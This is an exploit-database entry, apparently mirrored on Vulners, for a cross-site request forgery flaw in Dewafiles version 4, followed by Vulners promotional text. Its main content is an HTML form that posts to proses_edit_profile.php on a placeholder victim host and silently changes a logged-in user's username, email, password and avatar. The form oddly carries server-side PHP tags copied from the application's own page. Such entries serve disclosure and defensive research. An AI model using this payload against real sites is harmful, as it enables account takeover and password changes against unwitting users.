`# Exploit Title: Dewafiles Versi 4 - CSRF Vulnerabilities
# Author Exploit : vir0e5
# Date : 08-06-2012
# Site : http://blog.megasoft-id.com/
# Vendor : http://blog.megasoft-id.com/article/dewafiles/
# Version : Dewafiles versi 4
# Software Link: http://blog.megasoft-id.com/article/dewafiles/
# Tested on : Window and Linux
# CVE : [not yet]
[ Vulnerable File ]
~ proses_edit_profile.php
[ Exploit ]
<form enctype="multipart/form-data" action="http://korban.com/proses_edit_profile.php" method="POST">
<input type="hidden" name="id" value="<?PHP echo $id; ?>">
<p><me>Username</me></br>
<input type="text" style="width:100%" required name='username' value="<?PHP echo $_SESSION['my_name']; ?>">
<p><me>Email</me></br>
<input type="text" style="width:100%" required name='email' value="<?PHP echo $email; ?>">
<p><me>Password</me></br>
<input type="password" style="width:100%" required name='pswd' value="<?PHP echo $pswd; ?>">
<p><me>Gender</me></br>
<select style="width:100%" required name="gender">
<option><?PHP echo $gender; ?></option>
<option>Male</option>
<option>Female</option>
</select>
<p><me>Your Avatar</me></br>
<img src="<?PHP echo $photo ?>" width="60" height="60"></br>
Default Avatar : "<?PHP echo $photo; ?>"</br>
Change => <input style="width:200px" type="file" name="photo">
<p>
<input type="submit" class="button" value="Save">
</form>
*************************************************************
[+] Greetz :INDONESIAN SECURITY - TASIK CYBER - INDONESIAN CODER - EXPLOIT-ID;
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation